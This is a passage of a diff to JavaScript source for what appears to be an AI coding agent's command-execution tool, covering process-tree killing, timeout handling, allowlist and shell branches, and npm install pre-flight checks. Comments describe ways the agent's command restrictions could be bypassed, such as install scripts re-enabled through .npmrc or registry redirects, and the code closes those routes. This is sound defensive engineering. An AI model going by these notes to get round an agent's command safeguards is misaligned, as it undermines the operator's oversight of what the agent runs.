* So: on Windows, `taskkill /T` walks the child list the OS keeps and kills the
|
|
2312
|
+
* whole tree. On POSIX the child is spawned `detached`, which makes it a PROCESS
|
|
2313
|
+
* GROUP LEADER, and a negative pid signals the entire group.
|
|
2314
|
+
*
|
|
2315
|
+
* ⚠️ A FAILURE TO KILL MUST NEVER THROW. By the time we get here the process is
|
|
2316
|
+
* usually already dead, and "the thing I was going to kill is gone" is the
|
|
2317
|
+
* success case, not an error. Every path is swallowed.
|
|
2318
|
+
*/
|
|
2319
|
+
/**
|
|
2320
|
+
* ⚠️ EXPORTED FOR `background.mjs` AND FOR NO OTHER REASON. A second
|
|
2321
|
+
* implementation of this is how the orphan above comes back: the Windows
|
|
2322
|
+
* `taskkill /T` branch and the POSIX negative-pid branch are both non-obvious,
|
|
2323
|
+
* and a background process is the exact shape (a dev server, a watcher) that
|
|
2324
|
+
* proved they were needed.
|
|
2325
|
+
*/
|
|
2326
|
+
export function killProcessTree(child) {
|
|
2327
|
+
const pid = child?.pid;
|
|
2328
|
+
if (typeof pid !== 'number' || pid <= 0) {
|
|
2329
|
+
// A stubbed child in a test, or a spawn that never got a pid. Best effort.
|
|
2330
|
+
try { child?.kill?.('SIGKILL'); } catch { /* already gone */ }
|
|
2331
|
+
return;
|
|
2332
|
+
}
|
|
2333
|
+
if (process.platform === 'win32') {
|
|
2334
|
+
try {
|
|
2335
|
+
// ⚠️ The REAL `spawn`, never `spawnImpl` — `spawnImpl` is the injection
|
|
2336
|
+
// point for the command under test, and a test that stubs it is not
|
|
2337
|
+
// asking to stub the reaper.
|
|
2338
|
+
const reaper = spawn('taskkill', ['/T', '/F', '/PID', String(pid)], {
|
|
2339
|
+
windowsHide: true,
|
|
2340
|
+
stdio: 'ignore',
|
|
2341
|
+
shell: false,
|
|
2342
|
+
});
|
|
2343
|
+
// It must not keep the event loop alive, and its own failure is not ours.
|
|
2344
|
+
reaper.on('error', () => { /* taskkill missing or the pid already went */ });
|
|
2345
|
+
if (typeof reaper.unref === 'function') reaper.unref();
|
|
2346
|
+
} catch { /* already gone */ }
|
|
2347
|
+
return;
|
|
2348
|
+
}
|
|
2349
|
+
try {
|
|
2350
|
+
process.kill(-pid, 'SIGKILL');
|
|
2351
|
+
} catch {
|
|
2352
|
+
// Not a group leader (detached was refused, or the platform did something
|
|
2353
|
+
// else) — fall back to the one pid we can definitely name.
|
|
2354
|
+
try { child.kill('SIGKILL'); } catch { /* already gone */ }
|
|
2355
|
+
}
|
|
2356
|
+
}
|
|
2357
|
+
|
|
2358
|
+
/**
|
|
2359
|
+
* Spawn it. Never throws — a failure to start is data, like every other tool
|
|
2360
|
+
* result in this package.
|
|
2361
|
+
*
|
|
2362
|
+
* ── ⚠️⭐ WHY THIS SETTLES ON MORE THAN `close`, AND WHAT IT COST TO LEARN ─────
|
|
2363
|
+
*
|
|
2364
|
+
* `close` is the RIGHT event to settle on, and it stays the normal path: it
|
|
2365
|
+
* fires only once the process has exited AND the captured stdout/stderr pipes
|
|
2366
|
+
* have reached EOF, which is the only moment we can promise the output is
|
|
2367
|
+
* complete. That second condition is also the trap.
|
|
2368
|
+
*
|
|
2369
|
+
* EOF arrives when the LAST holder of the pipe's write end lets go — and a
|
|
2370
|
+
* descendant that inherited those handles is a holder. So when the timeout
|
|
2371
|
+
* killed npm's node, npm's script descendant kept the write handles open, EOF
|
|
2372
|
+
* never came, `close` never fired, and the promise never resolved. Not "resolved
|
|
2373
|
+
* late" — never. Measured four times: `executeRunCommand({command:'npm test',
|
|
2374
|
+
* timeoutMs:4000})` returned nothing after 20,019ms of waiting, and end to end
|
|
2375
|
+
* the real binary printed `── round 1/2 ──` and sat there for 120s+ despite
|
|
2376
|
+
* `--command-timeout 5`. There is no session-level deadline anywhere in this
|
|
2377
|
+
* package, so that is an unbounded hang with no outer bound to catch it: the
|
|
2378
|
+
* documented flag simply did nothing.
|
|
2379
|
+
*
|
|
2380
|
+
* ⚠️ THE ISOLATION CONTROL IS WHY `close` SURVIVED THE FIX: the identical
|
|
2381
|
+
* hanging script run as a DIRECT child, with no descendants, settled correctly
|
|
2382
|
+
* at 4,154ms with signal SIGKILL. The event was never wrong. It was
|
|
2383
|
+
* insufficient — a promise with no path to rejection.
|
|
2384
|
+
*
|
|
2385
|
+
* ⭐ So there are now two more ways out, and both defer to `close` if it comes:
|
|
2386
|
+
* · `exit` — the process is gone, only the pipes are outstanding. Give them a
|
|
2387
|
+
* grace window, then return what we captured with the REAL exit code. This
|
|
2388
|
+
* also bounds the case nobody had noticed: a command that exits 0 while
|
|
2389
|
+
* leaving a daemon behind, which used to burn the entire timeout and then
|
|
2390
|
+
* be reported as a timeout, which was a lie.
|
|
2391
|
+
* · the timeout itself — because if the kill fails, `exit` never comes either.
|
|
2392
|
+
*
|
|
2393
|
+
* `settled` already made `finish` idempotent, so all three racing is safe.
|
|
2394
|
+
*/
|
|
2395
|
+
export function spawnBounded({ file, args, cwd, timeoutMs, spawnImpl = spawn, env }) {
|
|
2396
|
+
return new Promise((done) => {
|
|
2397
|
+
const started = Date.now();
|
|
2398
|
+
let child;
|
|
2399
|
+
try {
|
|
2400
|
+
child = spawnImpl(file, args, {
|
|
2401
|
+
cwd,
|
|
2402
|
+
/**
|
|
2403
|
+
* ⚠️ `childEnvironment` RATHER THAN `scrubEnvironment`, and it is given
|
|
2404
|
+
* the argv so it can tell an npm run from everything else — see the
|
|
2405
|
+
* paragraph on that function. A caller that passes its own `env` is
|
|
2406
|
+
* responsible for the same thing; the two that do are named there.
|
|
2407
|
+
*/
|
|
2408
|
+
env: env ?? childEnvironment({ file, args }, process.env),
|
|
2409
|
+
// ⚠️ NEVER `true`. Everything above assumes no shell parses this.
|
|
2410
|
+
shell: false,
|
|
2411
|
+
windowsHide: true,
|
|
2412
|
+
stdio: ['ignore', 'pipe', 'pipe'],
|
|
2413
|
+
/**
|
|
2414
|
+
* ⚠️ POSIX ONLY, AND IT IS NOT COSMETIC: `detached` makes the child a
|
|
2415
|
+
* process group leader, which is the ONLY thing that makes
|
|
2416
|
+
* `process.kill(-pid)` able to reach what the command spawned. On
|
|
2417
|
+
* Windows it would ask for a new console instead, which is the opposite
|
|
2418
|
+
* of `windowsHide`, so there `taskkill /T` does the same job.
|
|
2419
|
+
*
|
|
2420
|
+
* The cost, stated: the child no longer shares our process group, so a
|
|
2421
|
+
* Ctrl-C in the terminal no longer reaches it directly. The timeout and
|
|
2422
|
+
* the tree kill are what stop it now, and those are the mechanisms this
|
|
2423
|
+
* tool is supposed to rely on anyway.
|
|
2424
|
+
*/
|
|
2425
|
+
...(process.platform === 'win32' ? {} : { detached: true }),
|
|
2426
|
+
});
|
|
2427
|
+
} catch (err) {
|
|
2428
|
+
return done({ ok: false, error: `could not start the command: ${err instanceof Error ? err.message : String(err)}` });
|
|
2429
|
+
}
|
|
2430
|
+
|
|
2431
|
+
let timedOut = false;
|
|
2432
|
+
let exitCode = null;
|
|
2433
|
+
let exitSignal = null;
|
|
2434
|
+
|
|
2435
|
+
/**
|
|
2436
|
+
* ── ⚠️⚠️ KEEP BOTH ENDS. THE OLD CAP KEPT THE WRONG ONE ─────────────────
|
|
2437
|
+
*
|
|
2438
|
+
* The cap is applied WHILE READING and must stay that way — a build loop
|
|
2439
|
+
* printing a gigabyte cannot be held in memory to be trimmed afterwards.
|
|
2440
|
+
* But it used to be `if (stdout.length < cap) stdout += d`, which keeps the
|
|
2441
|
+
* FIRST 32KB and discards everything after.
|
|
2442
|
+
*
|
|
2443
|
+
* ⭐ EVERY TEST RUNNER PRINTS ITS VERDICT LAST. "5 failed, 212 passed", the
|
|
2444
|
+
* stack traces, the summary. So on any suite louder than 32KB the model was
|
|
2445
|
+
* handed the opening banner, `clampOutput` then took a "tail" of that
|
|
2446
|
+
* already-truncated buffer — the MIDDLE of the real output — and the loop
|
|
2447
|
+
* fixed whatever it could see while never learning the run had failed.
|
|
2448
|
+
* The exit code stayed honest, so it read as "it tried" rather than "it was
|
|
2449
|
+
* shown the wrong evidence", which is why it survived this long.
|
|
2450
|
+
*
|
|
2451
|
+
* ⭐ A HEAD BUFFER AND A TAIL RING, both bounded, so memory is still capped
|
|
2452
|
+
* at roughly what it was — and `produced` counts what the process actually
|
|
2453
|
+
* emitted, because reporting "24,000 characters omitted" for a 5MB run is a
|
|
2454
|
+
* confident falsehood and this package treats silent truncation as the worst
|
|
2455
|
+
* class of bug it can ship.
|
|
2456
|
+
*/
|
|
2457
|
+
const cap = MAX_CAPTURED_CHARS * 4;
|
|
2458
|
+
const HALF = Math.floor(cap / 2);
|
|
2459
|
+
const streams = {
|
|
2460
|
+
stdout: { head: '', tail: '', produced: 0 },
|
|
2461
|
+
stderr: { head: '', tail: '', produced: 0 },
|
|
2462
|
+
};
|
|
2463
|
+
const absorb = (s, chunk) => {
|
|
2464
|
+
s.produced += chunk.length;
|
|
2465
|
+
if (s.head.length < HALF) s.head += chunk.slice(0, HALF - s.head.length);
|
|
2466
|
+
// ⚠️ Slice AFTER concatenating, so a chunk larger than HALF still leaves
|
|
2467
|
+
// its own tail behind rather than being dropped whole.
|
|
2468
|
+
s.tail = (s.tail + chunk).slice(-HALF);
|
|
2469
|
+
};
|
|
2470
|
+
/** Head + a truthful marker + the real tail. */
|
|
2471
|
+
const assemble = (s) => {
|
|
2472
|
+
if (s.produced <= s.head.length) return { text: s.head, omitted: 0 };
|
|
2473
|
+
if (s.produced <= cap) {
|
|
2474
|
+
// Everything fits: head and tail together are the whole stream, and the
|
|
2475
|
+
// tail ring already holds the part the head did not.
|
|
2476
|
+
return { text: s.head + s.tail.slice(-(s.produced - s.head.length)), omitted: 0 };
|
|
2477
|
+
}
|
|
2478
|
+
const omitted = s.produced - s.head.length - s.tail.length;
|
|
2479
|
+
return {
|
|
2480
|
+
text: `${s.head}\n\n… ${omitted} characters omitted …\n\n${s.tail}`,
|
|
2481
|
+
omitted,
|
|
2482
|
+
};
|
|
2483
|
+
};
|
|
2484
|
+
|
|
2485
|
+
child.stdout?.setEncoding('utf8');
|
|
2486
|
+
child.stderr?.setEncoding('utf8');
|
|
2487
|
+
child.stdout?.on('data', (d) => absorb(streams.stdout, d));
|
|
2488
|
+
child.stderr?.on('data', (d) => absorb(streams.stderr, d));
|
|
2489
|
+
|
|
2490
|
+
let settled = false;
|
|
2491
|
+
let graceTimer = null;
|
|
2492
|
+
let timer = null;
|
|
2493
|
+
|
|
2494
|
+
const finish = (payload) => {
|
|
2495
|
+
if (settled) return;
|
|
2496
|
+
settled = true;
|
|
2497
|
+
if (timer) clearTimeout(timer);
|
|
2498
|
+
if (graceTimer) clearTimeout(graceTimer);
|
|
2499
|
+
done(payload);
|
|
2500
|
+
};
|
|
2501
|
+
|
|
2502
|
+
/** Return what we actually have. Used by every settle path. */
|
|
2503
|
+
const finishWithCaptured = () => {
|
|
2504
|
+
/**
|
|
2505
|
+
* ⚠️ `assemble` ALREADY BOUNDED THIS, and its marker already states the
|
|
2506
|
+
* true loss. `clampOutput` runs second and trims further for the model's
|
|
2507
|
+
* context — but its own `omitted` is computed against the string it was
|
|
2508
|
+
* handed, so it can only ever describe ITS cut, never the stream's. The
|
|
2509
|
+
* honest total is carried separately in `stdoutOmitted`/`stderrOmitted`.
|
|
2510
|
+
*/
|
|
2511
|
+
const outRaw = assemble(streams.stdout);
|
|
2512
|
+
const errRaw = assemble(streams.stderr);
|
|
2513
|
+
const out = clampOutput(outRaw.text);
|
|
2514
|
+
const errText = clampOutput(errRaw.text);
|
|
2515
|
+
finish({
|
|
2516
|
+
ok: true,
|
|
2517
|
+
exitCode,
|
|
2518
|
+
signal: exitSignal,
|
|
2519
|
+
timedOut,
|
|
2520
|
+
durationMs: Date.now() - started,
|
|
2521
|
+
stdout: out.text,
|
|
2522
|
+
stderr: errText.text,
|
|
2523
|
+
truncated: out.truncated || errText.truncated || outRaw.omitted > 0 || errRaw.omitted > 0,
|
|
2524
|
+
/** What the PROCESS produced but nobody will ever see. Additive fields. */
|
|
2525
|
+
stdoutOmitted: outRaw.omitted + out.omitted,
|
|
2526
|
+
stderrOmitted: errRaw.omitted + errText.omitted,
|
|
2527
|
+
stdoutProduced: streams.stdout.produced,
|
|
2528
|
+
stderrProduced: streams.stderr.produced,
|
|
2529
|
+
});
|
|
2530
|
+
};
|
|
2531
|
+
|
|
2532
|
+
/**
|
|
2533
|
+
* Give `close` its grace window, then stop waiting for it.
|
|
2534
|
+
*
|
|
2535
|
+
* ⚠️ AND LET GO OF THE PIPES ON THE WAY OUT. If a descendant really did
|
|
2536
|
+
* survive the tree kill, those read streams stay ACTIVE HANDLES — the tool
|
|
2537
|
+
* call would return while the CLI process itself could no longer exit,
|
|
2538
|
+
* turning a hung tool call into a hung program. Abandoning a stream we have
|
|
2539
|
+
* already decided to stop reading costs nothing.
|
|
2540
|
+
*/
|
|
2541
|
+
const armGrace = () => {
|
|
2542
|
+
if (settled || graceTimer) return;
|
|
2543
|
+
graceTimer = setTimeout(() => {
|
|
2544
|
+
try { child.stdout?.destroy(); } catch { /* already closed */ }
|
|
2545
|
+
try { child.stderr?.destroy(); } catch { /* already closed */ }
|
|
2546
|
+
try { child.unref?.(); } catch { /* not a real child */ }
|
|
2547
|
+
finishWithCaptured();
|
|
2548
|
+
}, TIMEOUT_SETTLE_GRACE_MS);
|
|
2549
|
+
if (typeof graceTimer.unref === 'function') graceTimer.unref();
|
|
2550
|
+
};
|
|
2551
|
+
|
|
2552
|
+
timer = setTimeout(() => {
|
|
2553
|
+
timedOut = true;
|
|
2554
|
+
// SIGKILL rather than SIGTERM: the thing being killed is a process that
|
|
2555
|
+
// already ignored its chance to exit, and on Windows SIGTERM is advisory.
|
|
2556
|
+
if (exitSignal === null) exitSignal = 'SIGKILL';
|
|
2557
|
+
killProcessTree(child);
|
|
2558
|
+
// ⚠️ Armed HERE as well as on `exit`, because a kill that does not land
|
|
2559
|
+
// produces no `exit` either — and that combination is exactly the hang.
|
|
2560
|
+
armGrace();
|
|
2561
|
+
}, timeoutMs);
|
|
2562
|
+
if (typeof timer.unref === 'function') timer.unref();
|
|
2563
|
+
|
|
2564
|
+
child.on('error', (err) => {
|
|
2565
|
+
finish({ ok: false, error: `the command could not run: ${err instanceof Error ? err.message : String(err)}` });
|
|
2566
|
+
});
|
|
2567
|
+
child.on('exit', (code, signal) => {
|
|
2568
|
+
if (typeof code === 'number') exitCode = code;
|
|
2569
|
+
if (signal) exitSignal = signal;
|
|
2570
|
+
// The process is gone; only the pipes are outstanding. `close` normally
|
|
2571
|
+
// wins this race by microseconds and clears the timer.
|
|
2572
|
+
armGrace();
|
|
2573
|
+
});
|
|
2574
|
+
child.on('close', (code, signal) => {
|
|
2575
|
+
if (typeof code === 'number') exitCode = code;
|
|
2576
|
+
if (signal) exitSignal = signal;
|
|
2577
|
+
finishWithCaptured();
|
|
2578
|
+
});
|
|
2579
|
+
});
|
|
2580
|
+
}
|
|
2581
|
+
|
|
2582
|
+
/**
|
|
2583
|
+
* The tool entry point: a model-supplied string in, a result the model can act
|
|
2584
|
+
* on out. Every refusal path returns before anything is spawned.
|
|
2585
|
+
*
|
|
2586
|
+
* @param {{ command: unknown, executor: any, timeoutMs?: number, spawnImpl?: Function }} args
|
|
2587
|
+
*/
|
|
2588
|
+
export async function executeRunCommand({ command, executor, timeoutMs = DEFAULT_COMMAND_TIMEOUT_MS, spawnImpl = spawn, shell = false }) {
|
|
2589
|
+
/**
|
|
2590
|
+
* ⚠️ A DRY RUN THAT RUNS THE TEST SUITE IS NOT A DRY RUN. `--dry-run` promises
|
|
2591
|
+
* the disk is untouched; a command is free to touch it, so the promise can
|
|
2592
|
+
* only be kept by refusing here.
|
|
2593
|
+
*/
|
|
2594
|
+
if (executor.dryRun) {
|
|
2595
|
+
return { ok: false, error: 'this is a --dry-run, so no command is executed (a command could write to disk, which a dry run promises not to do)' };
|
|
2596
|
+
}
|
|
2597
|
+
|
|
2598
|
+
/**
|
|
2599
|
+
* ⭐ THE ALLOWLIST IS RESOLVED PER CALL, FROM THE WORKSPACE AND THE
|
|
2600
|
+
* ENVIRONMENT — read through the EXECUTOR, so `.acuvo/commands.json` gets the
|
|
2601
|
+
* same path rules, the same size cap and the same refusals as every other
|
|
2602
|
+
* file this agent touches. No second reader, no second set of rules.
|
|
2603
|
+
*
|
|
2604
|
+
* ⚠️ ABSENT IS NOT MALFORMED, and the two must not be conflated: no file at
|
|
2605
|
+
* all is the overwhelmingly common case and means "the default four". A file
|
|
2606
|
+
* that exists and cannot be parsed is a broken control, and it stops the
|
|
2607
|
+
* command rather than quietly reverting to the default — which is `policy.mjs`
|
|
2608
|
+
* fail-closed reasoning, applied to the other half of the same `.acuvo/`
|
|
2609
|
+
* directory.
|
|
2610
|
+
*/
|
|
2611
|
+
/**
|
|
2612
|
+
* ── ⚠️ THE SHELL BRANCH — EVERYTHING BELOW IT IS THE ALLOWLIST ────────────
|
|
2613
|
+
*
|
|
2614
|
+
* It returns early ON PURPOSE, rather than threading `shell` through
|
|
2615
|
+
* `validateCommand`. A validator that sometimes validates is the shape that
|
|
2616
|
+
* produces a "safe" mode which quietly is not: one wrong branch and a caller
|
|
2617
|
+
* who never asked for the shell gets it. Two paths that share nothing cannot
|
|
2618
|
+
* leak into each other, and the ONE place that chooses between them is a
|
|
2619
|
+
* single boolean the operator typed.
|
|
2620
|
+
*/
|
|
2621
|
+
if (shell) {
|
|
2622
|
+
const invocation = buildShellInvocation(command);
|
|
2623
|
+
if (!invocation.ok) return { ok: false, error: invocation.error };
|
|
2624
|
+
const bounded = Math.min(Math.max(1_000, timeoutMs), MAX_COMMAND_TIMEOUT_MS);
|
|
2625
|
+
const run = await spawnBounded({
|
|
2626
|
+
file: invocation.file,
|
|
2627
|
+
args: invocation.args,
|
|
2628
|
+
cwd: executor.root,
|
|
2629
|
+
timeoutMs: bounded,
|
|
2630
|
+
spawnImpl,
|
|
2631
|
+
});
|
|
2632
|
+
if (!run.ok) return run;
|
|
2633
|
+
return {
|
|
2634
|
+
ok: true,
|
|
2635
|
+
command: String(command).trim(),
|
|
2636
|
+
argv: [invocation.file, ...invocation.args],
|
|
2637
|
+
scriptChain: null,
|
|
2638
|
+
// ⭐ Flagged on the RESULT, so the audit log and the report can say a
|
|
2639
|
+
// shell ran this without having to re-derive it from the argv.
|
|
2640
|
+
viaShell: true,
|
|
2641
|
+
exitCode: run.exitCode,
|
|
2642
|
+
signal: run.signal,
|
|
2643
|
+
timedOut: run.timedOut,
|
|
2644
|
+
durationMs: run.durationMs,
|
|
2645
|
+
stdout: run.stdout,
|
|
2646
|
+
stderr: run.stderr,
|
|
2647
|
+
truncated: run.truncated,
|
|
2648
|
+
passed: run.exitCode === 0 && !run.timedOut,
|
|
2649
|
+
};
|
|
2650
|
+
}
|
|
2651
|
+
|
|
2652
|
+
const configRead = executor.readFile(COMMANDS_CONFIG_FILE);
|
|
2653
|
+
let configText = null;
|
|
2654
|
+
if (configRead.ok) {
|
|
2655
|
+
configText = configRead.content;
|
|
2656
|
+
} else if (!/^no such file/i.test(String(configRead.error ?? ''))) {
|
|
2657
|
+
return { ok: false, error: `${COMMANDS_CONFIG_FILE} exists but could not be read: ${configRead.error}` };
|
|
2658
|
+
}
|
|
2659
|
+
const resolved = resolveCommandAllowlist({ configText, envValue: process.env[ALLOW_COMMANDS_ENV] });
|
|
2660
|
+
if (!resolved.ok) return { ok: false, error: `the command allowlist could not be loaded: ${resolved.error}` };
|
|
2661
|
+
|
|
2662
|
+
/**
|
|
2663
|
+
* ⚠️ THE ENVIRONMENT IS READ EXACTLY ONCE, HERE, AND NOWHERE DEEPER.
|
|
2664
|
+
* `validateCommand` stays pure; the only code that can turn `npm install` on
|
|
2665
|
+
* is the code that already reads `process.env` for the allowlist. Same door,
|
|
2666
|
+
* same audit story.
|
|
2667
|
+
*/
|
|
2668
|
+
const allowInstall = installEnabled(process.env);
|
|
2669
|
+
const valid = validateCommand(command, { allowlist: resolved.allowlist, allowInstall });
|
|
2670
|
+
if (!valid.ok) return valid;
|
|
2671
|
+
|
|
2672
|
+
// The npm script body gate — read through the EXECUTOR so the same path
|
|
2673
|
+
// rules apply, and so a workspace with no package.json says so clearly.
|
|
2674
|
+
let scriptChain = null;
|
|
2675
|
+
if (valid.binary === 'npm' && valid.npmScript) {
|
|
2676
|
+
const pkgRead = executor.readFile('package.json');
|
|
2677
|
+
if (!pkgRead.ok) return { ok: false, error: `cannot run npm here: ${pkgRead.error}` };
|
|
2678
|
+
const chain = validateNpmScriptChain(valid.npmScript, pkgRead.content);
|
|
2679
|
+
if (!chain.ok) return { ok: false, error: chain.error };
|
|
2680
|
+
scriptChain = chain.chain;
|
|
2681
|
+
}
|
|
2682
|
+
|
|
2683
|
+
/**
|
|
2684
|
+
* ── ⚠️ THE INSTALL PRE-FLIGHT: TWO FILES INSIDE THE WORKSPACE ─────────────
|
|
2685
|
+
*
|
|
2686
|
+
* Both are files THIS AGENT CAN WRITE, which is the only reason they are
|
|
2687
|
+
* checked at all.
|
|
2688
|
+
*
|
|
2689
|
+
* · `package.json` must already exist. Without it npm invents a nameless
|
|
2690
|
+
* project and installs into it, so the dependency the human is supposed to
|
|
2691
|
+
* review lands somewhere nobody is looking.
|
|
2692
|
+
* · `.npmrc` must not redirect the registry or re-enable install scripts.
|
|
2693
|
+
* See `inspectNpmrcForInstall` — this is the `package.json` scripts
|
|
2694
|
+
* bypass arriving through a different file.
|
|
2695
|
+
*/
|
|
2696
|
+
if (valid.binary === 'npm' && valid.npmInstall) {
|
|
2697
|
+
const pkgRead = executor.readFile('package.json');
|
|
2698
|
+
if (!pkgRead.ok) {
|
|
2699
|
+
return { ok: false, error: `cannot run npm ${valid.npmInstall.sub} here: ${pkgRead.error}. Write a package.json first — an install into a directory with no manifest records the dependency nowhere.` };
|
|
2700
|
+
}
|
|
2701
|
+
try {
|
|
2702
|
+
JSON.parse(pkgRead.content);
|
|
2703
|
+
} catch (err) {
|
|
2704
|
+
return { ok: false, error: `package.json is not valid JSON, so npm would rewrite it from nothing: ${err instanceof Error ? err.message : String(err)}` };
|
|
2705
|
+
}
|
|
2706
|
+
/**
|
|
2707
|
+
* ⚠️ THE MANIFEST NAMES PACKAGES NO OPERAND EVER MENTIONED. A bare
|
|
2708
|
+
* `npm install` has an empty package list, so every operand check above
|
|
2709
|
+
* passed on a command with nothing to check while npm read this file.
|
|
2710
|
+
*/
|
|
2711
|
+
const manifest = inspectManifestForInstall(pkgRead.content);
|
|
2712
|
+
if (!manifest.ok) return { ok: false, error: manifest.error };
|
|
2713
|
+
const lockRead = executor.readFile('package-lock.json');
|
|
2714
|
+
if (lockRead.ok) {
|
|
2715
|
+
const lock = inspectLockfileForInstall(lockRead.content);
|
|
2716
|
+
if (!lock.ok) return { ok: false, error: lock.error };
|
|
2717
|
+
} else if (!/^no such file/i.test(String(lockRead.error ?? ''))) {
|
|
2718
|
+
return { ok: false, error: `package-lock.json exists but could not be read, so this install cannot be checked: ${lockRead.error}` };
|
|
2719
|
+
}
|
|
2720
|
+
const rcRead = executor.readFile('.npmrc');
|
|
2721
|
+
if (rcRead.ok) {
|
|
2722
|
+
const rc = inspectNpmrcForInstall(rcRead.content);
|
|
2723
|
+
if (!rc.ok) return { ok: false, error: rc.error };
|
|
2724
|
+
} else if (!/^no such file/i.test(String(rcRead.error ?? ''))) {
|
|
2725
|
+
return { ok: false, error: `.npmrc exists but could not be read, so this install cannot be checked: ${rcRead.error}` };
|
|
2726
|
+
}
|
|
2727
|
+
}
|
|
2728
|
+
|
|
2729
|
+
const invocation = buildInvocation(valid, executor.root);
|
|
2730
|
+
if (!invocation.ok) return { ok: false, error: invocation.error };
|
|
2731
|
+
|
|
2732
|
+
// ⚠️ An install gets a FLOOR, not the caller's number — see INSTALL_MIN_TIMEOUT_MS.
|
|
2733
|
+
const floor = valid.npmInstall ? INSTALL_MIN_TIMEOUT_MS : 1_000;
|
|
2734
|
+
const bounded = Math.min(Math.max(floor, timeoutMs), MAX_COMMAND_TIMEOUT_MS);
|
|
2735
|
+
const run = await spawnBounded({
|
|
2736
|
+
file: invocation.file,
|
|
2737
|
+
args: invocation.args,
|
|
2738
|
+
cwd: executor.root,
|
|
2739
|
+
timeoutMs: bounded,
|
|
2740
|
+
spawnImpl,
|
|
2741
|
+
});
|
|
2742
|
+
if (!run.ok) return run;
|
|
2743
|
+
|
|
2744
|
+
/**
|
|
2745
|
+
* ── ⭐ THE RECEIPT: WHAT LANDED IN `package.json`, RE-READ FROM DISK ───────
|
|
2746
|
+
*
|
|
2747
|
+
* "The lockfile and package.json get modified under the user" is the honest
|
|
2748
|
+
* complaint about `npm install`, and the answer is not to suppress the
|
|
2749
|
+
* modification (`--no-save` is refused above — an unrecorded install is worse)
|
|
2750
|
+
* but to STATE it. So after the run, package.json is read again and the exact
|
|
2751
|
+
* range npm wrote for each requested name is reported.
|
|
2752
|
+
*
|
|
2753
|
+
* ⚠️ IT IS READ AFTER, NOT PREDICTED BEFORE. `npm install zod` writes
|
|
2754
|
+
* `^4.1.12` or whatever the registry served today; a receipt that repeated
|
|
2755
|
+
* what was ASKED FOR would be a receipt for a fact nobody checked. `git_diff`
|
|
2756
|
+
* shows the lockfile churn, which is the other half and already has a tool.
|
|
2757
|
+
*/
|
|
2758
|
+
let installed = null;
|
|
2759
|
+
if (valid.npmInstall && run.exitCode === 0 && !run.timedOut) {
|
|
2760
|
+
installed = readInstalledRanges(executor, valid.npmInstall.packages);
|
|
2761
|
+
}
|
|
2762
|
+
|
|
2763
|
+
return {
|
|
2764
|
+
ok: true,
|
|
2765
|
+
command: valid.command,
|
|
2766
|
+
argv: [invocation.file, ...invocation.args],
|
|
2767
|
+
scriptChain,
|
|
2768
|
+
installed,
|
|
2769
|
+
exitCode: run.exitCode,
|
|
2770
|
+
signal: run.signal,
|
|
2771
|
+
timedOut: run.timedOut,
|
|
2772
|
+
durationMs: run.durationMs,
|
|
2773
|
+
stdout: run.stdout,
|
|
2774
|
+
stderr: run.stderr,
|
|
2775
|
+
truncated: run.truncated,
|
|
2776
|
+
// ⚠️ `ok: true` MEANS THE COMMAND RAN, NOT THAT IT PASSED. Those are
|
|
2777
|
+
// different facts and conflating them is exactly how a loop ends up
|
|
2778
|
+
// reporting success on a failing test. `passed` is the second fact.
|
|
2779
|
+
passed: run.exitCode === 0 && !run.timedOut,
|
|
2780
|
+
};
|
|
2781
|
+
}
|
|
2782
|
+
|
|
2783
|
+
/**
|
|
2784
|
+
* Read back the range npm actually wrote for each requested package.
|
|
2785
|
+
*
|
|
2786
|
+
* ⚠️ A package that was requested and is NOT in package.json afterwards is
|
|
2787
|
+
* reported as `null` rather than omitted. npm exits 0 on plenty of partial
|
|
2788
|
+
* outcomes, and a receipt that silently drops the line it could not confirm is
|
|
2789
|
+
* the "green run, nothing happened" failure this package keeps finding.
|
|
2790
|
+
*/
|
|
2791
|
+
function readInstalledRanges(executor, packages) {
|
|
2792
|
+
if (!packages.length) return [];
|
|
2793
|
+
const read = executor.readFile('package.json');
|
|
2794
|
+
if (!read.ok) return packages.map((p) => ({ name: p.name, range: null, section: null }));
|
|
2795
|
+
let pkg;
|
|
2796
|
+
try {
|
|
2797
|
+
pkg = JSON.parse(read.content);
|
|
2798
|
+
} catch {
|
|
2799
|
+
return packages.map((p) => ({ name: p.name, range: null, section: null }));
|
|
2800
|
+
}
|
|
2801
|
+
const sections = ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies'];
|
|
2802
|
+
return packages.map((p) => {
|
|
2803
|
+
for (const section of sections) {
|
|
2804
|
+
const block = pkg?.[section];
|
|
2805
|
+
if (block && typeof block === 'object' && typeof block[p.name] === 'string') {
|
|
2806
|
+
return { name: p.name, range: block[p.name], section };
|
|
2807
|
+
}
|
|
2808
|
+
}
|
|
2809
|
+
return { name: p.name, range: null, section: null };
|
|
2810
|
+
});
|
|
2811
|
+
}
|
|
2812
|
+
|
|
2813
|
+
/**
|
|
2814
|
+
* Render a finished run for the MODEL. Compact, unambiguous, and leading with
|
|
2815
|
+
* the exit code — the one number the next round has to react to.
|
|
2816
|
+
*
|
|
2817
|
+
* Pure.
|
|
2818
|
+
*/
|
|
2819
|
+
export function formatRunForModel(result) {
|
|
2820
|
+
if (!result.ok) return `command refused: ${result.error}`;
|
|
2821
|
+
const lines = [`$ ${result.command}`];
|
|
2822
|
+
if (Array.isArray(result.installed)) {
|
|
2823
|
+
/**
|
|
2824
|
+
* ⭐ THE MODEL IS TOLD `--ignore-scripts` WAS FORCED, EVERY TIME. Without
|
|
2825
|
+
* this line, a package whose postinstall downloads its binary (`esbuild`,
|
|
2826
|
+
* `sharp`, `puppeteer`) installs "successfully" and then fails at require
|
|
2827
|
+
* time with an error that looks like a bug in the agent's own code. Naming
|
|
2828
|
+
* the cause up front turns a confusing loop into one sentence the agent can
|
|
2829
|
+
* pass to the human.
|
|
2830
|
+
*/
|
|
2831
|
+
for (const item of result.installed) {
|
|
2832
|
+
lines.push(item.range
|
|
2833
|
+
? ` recorded in package.json: "${item.name}": "${item.range}" (${item.section})`
|
|
2834
|
+
: ` ⚠️ "${item.name}" is NOT in package.json after this install — nothing was recorded`);
|
|
2835
|
+
}
|
|
2836
|
+
lines.push(' (installed with --ignore-scripts forced: no lifecycle script from any package ran. A package that builds a native addon or downloads a binary at install time will need a human to install it.)');
|
|
2837
|
+
}
|
|
2838
|
+
if (result.timedOut) {
|
|
2839
|
+
lines.push(`TIMED OUT after ${Math.round(result.durationMs / 1000)}s and was killed. It produced no exit code.`);
|
|
2840
|
+
} else {
|
|
2841
|
+
